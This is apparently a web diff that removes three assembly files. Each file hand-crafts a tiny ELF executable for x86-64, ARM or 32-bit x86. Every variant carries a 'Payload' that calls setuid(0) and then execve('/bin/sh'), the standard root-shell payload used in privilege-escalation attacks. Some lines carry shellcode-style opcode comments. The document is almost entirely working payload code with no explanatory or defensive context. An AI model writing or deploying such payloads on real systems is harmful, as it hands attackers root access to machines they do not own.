db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
dw 2 ; e_type: Executable
|
|
||||||
dw 0x3e ; e_machine: x86-64
|
|
||||||
dd 1 ; e_version
|
|
||||||
dq _start ; e_entry
|
|
||||||
dq phdr - ehdr ; e_phoff (offset to program header)
|
|
||||||
dq 0 ; e_shoff
|
|
||||||
dd 0 ; e_flags
|
|
||||||
dw 64 ; e_ehsize (ELF header size)
|
|
||||||
dw 56 ; e_phentsize (Program header size)
|
|
||||||
dw 1 ; e_phnum (Number of program headers)
|
|
||||||
dw 0 ; e_shentsize
|
|
||||||
dw 0 ; e_shnum
|
|
||||||
dw 0 ; e_shstrndx
|
|
||||||
|
|
||||||
; --- Program Header (PT_LOAD) ---
|
|
||||||
phdr:
|
|
||||||
dd 1 ; p_type: PT_LOAD
|
|
||||||
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
|
|
||||||
dq 0 ; p_offset
|
|
||||||
dq 0x400000 ; p_vaddr
|
|
||||||
dq 0x400000 ; p_paddr
|
|
||||||
dq file_end - ehdr ; p_filesz
|
|
||||||
dq file_end - ehdr ; p_memsz
|
|
||||||
dq 0x1000 ; p_align
|
|
||||||
|
|
||||||
; --- Payload ---
|
|
||||||
_start:
|
|
||||||
; setuid(0)
|
|
||||||
xor eax, eax
|
|
||||||
xor edi, edi
|
|
||||||
mov al, 0x69
|
|
||||||
syscall
|
|
||||||
|
|
||||||
; execve("/bin/sh", NULL, NULL)
|
|
||||||
lea rdi, [rel sh] ; 48 8d 3d 0f 00 00 00 rdi -> "/bin/sh"
|
|
||||||
xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
|
|
||||||
push 0x3b ; 6a 3b push SYS_execve
|
|
||||||
pop rax ; 58 rax = 59
|
|
||||||
cdq ; 99 rdx = 0 (envp = NULL)
|
|
||||||
syscall ; 0f 05 execve("/bin/sh", 0, 0)
|
|
||||||
|
|
||||||
; exit(0)
|
|
||||||
xor edi, edi
|
|
||||||
push 0x3c
|
|
||||||
pop rax
|
|
||||||
syscall
|
|
||||||
|
|
||||||
sh: db "/bin/sh", 0
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,53 +0,0 @@
|
||||||
.section .text
|
|
||||||
.globl _start
|
|
||||||
|
|
||||||
// --- 32-bit ELF Header (52 bytes) ---
|
|
||||||
ehdr:
|
|
||||||
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
|
||||||
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
|
|
||||||
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
.short 2 // e_type: Executable
|
|
||||||
.short 40 // e_machine: ARM (0x28)
|
|
||||||
.int 1 // e_version
|
|
||||||
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
|
|
||||||
.int 0x34 // e_phoff (Program Header offset = 52)
|
|
||||||
.int 0 // e_shoff
|
|
||||||
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
|
|
||||||
.short 52 // e_ehsize
|
|
||||||
.short 32 // e_phentsize
|
|
||||||
.short 1 // e_phnum
|
|
||||||
.short 0 // e_shentsize
|
|
||||||
.short 0 // e_shnum
|
|
||||||
.short 0 // e_shstrndx
|
|
||||||
|
|
||||||
// --- Program Header (PT_LOAD, 32 bytes) ---
|
|
||||||
phdr:
|
|
||||||
.int 1 // p_type: PT_LOAD
|
|
||||||
.int 0 // p_offset
|
|
||||||
.int 0x400000 // p_vaddr
|
|
||||||
.int 0x400000 // p_paddr
|
|
||||||
.int file_end - ehdr // p_filesz
|
|
||||||
.int file_end - ehdr // p_memsz
|
|
||||||
.int 5 // p_flags: PF_R | PF_X
|
|
||||||
.int 0x10000 // p_align
|
|
||||||
|
|
||||||
// --- Payload ---
|
|
||||||
_start:
|
|
||||||
mov r0, #0
|
|
||||||
mov r7, #23 // SYS_setuid
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
adr r0, sh // PC-relative load of the "sh" label
|
|
||||||
mov r1, #0
|
|
||||||
mov r2, #0
|
|
||||||
mov r7, #11 // SYS_execve
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
mov r0, #0
|
|
||||||
mov r7, #1 // SYS_exit
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
sh:
|
|
||||||
.asciz "/bin/sh" // 8 bytes (includes null terminator)
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,64 +0,0 @@
|
||||||
BITS 32
|
|
||||||
org 0x08048000
|
|
||||||
|
|
||||||
; --- 32-bit ELF Header ---
|
|
||||||
ehdr:
|
|
||||||
db 0x7F, "ELF" ; e_ident
|
|
||||||
db 1 ; EI_CLASS (1 = 32-bit)
|
|
||||||
db 1 ; EI_DATA (1 = little endian)
|
|
||||||
db 1 ; EI_VERSION
|
|
||||||
db 0 ; EI_OSABI
|
|
||||||
db 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
dw 2 ; e_type: Executable
|
|
||||||
dw 3 ; e_machine: EM_386 (x86)
|
|
||||||
dd 1 ; e_version
|
|
||||||
dd _start ; e_entry
|
|
||||||
dd phdr - ehdr ; e_phoff (offset to program header)
|
|
||||||
dd 0 ; e_shoff
|
|
||||||
dd 0 ; e_flags
|
|
||||||
dw 52 ; e_ehsize (32-bit ELF header size)
|
|
||||||
dw 32 ; e_phentsize (32-bit Program header size)
|
|
||||||
dw 1 ; e_phnum (Number of program headers)
|
|
||||||
dw 0 ; e_shentsize
|
|
||||||
dw 0 ; e_shnum
|
|
||||||
dw 0 ; e_shstrndx
|
|
||||||
|
|
||||||
; --- Program Header (PT_LOAD) ---
|
|
||||||
phdr:
|
|
||||||
dd 1 ; p_type: PT_LOAD
|
|
||||||
dd 0 ; p_offset
|
|
||||||
dd 0x08048000 ; p_vaddr
|
|
||||||
dd 0x08048000 ; p_paddr
|
|
||||||
dd file_end - ehdr ; p_filesz
|
|
||||||
dd file_end - ehdr ; p_memsz
|
|
||||||
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
|
|
||||||
dd 0x1000 ; p_align
|
|
||||||
|
|
||||||
; --- Payload ---
|
|
||||||
_start:
|
|
||||||
; setuid32(0)
|
|
||||||
xor eax, eax
|
|
||||||
xor ebx, ebx ; ebx = 0 (UID)
|
|
||||||
mov al, 213 ; sys_setuid32 (213)
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
|
|
||||||
xor eax, eax ; 31 c0 eax = 0
|
|
||||||
push eax ; 50 NULL terminator for argv
|
|
||||||
push 0x68732f2f ; 68 2f 2f 73 68 "//sh"
|
|
||||||
push 0x6e69622f ; 68 2f 62 69 6e "/bin"
|
|
||||||
mov ebx, esp ; 89 e3 ebx -> "/bin//sh"
|
|
||||||
push eax ; 50 envp = NULL
|
|
||||||
push ebx ; 53 argv[0] = "/bin//sh"
|
|
||||||
mov ecx, esp ; 89 e1 ecx -> argv
|
|
||||||
mov edx, eax ; 89 c2 edx = 0 (envp)
|
|
||||||
mov al, 0xb ; b0 0b eax = 11 (SYS_execve)
|
|
||||||
int 0x80 ; cd 80 syscall
|
|
||||||
|
|
||||||
; exit(0)
|
|
||||||
xor ebx, ebx ; Exit code 0
|
|
||||||
push 1 ; sys_exit (1)
|
|
||||||
pop eax
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue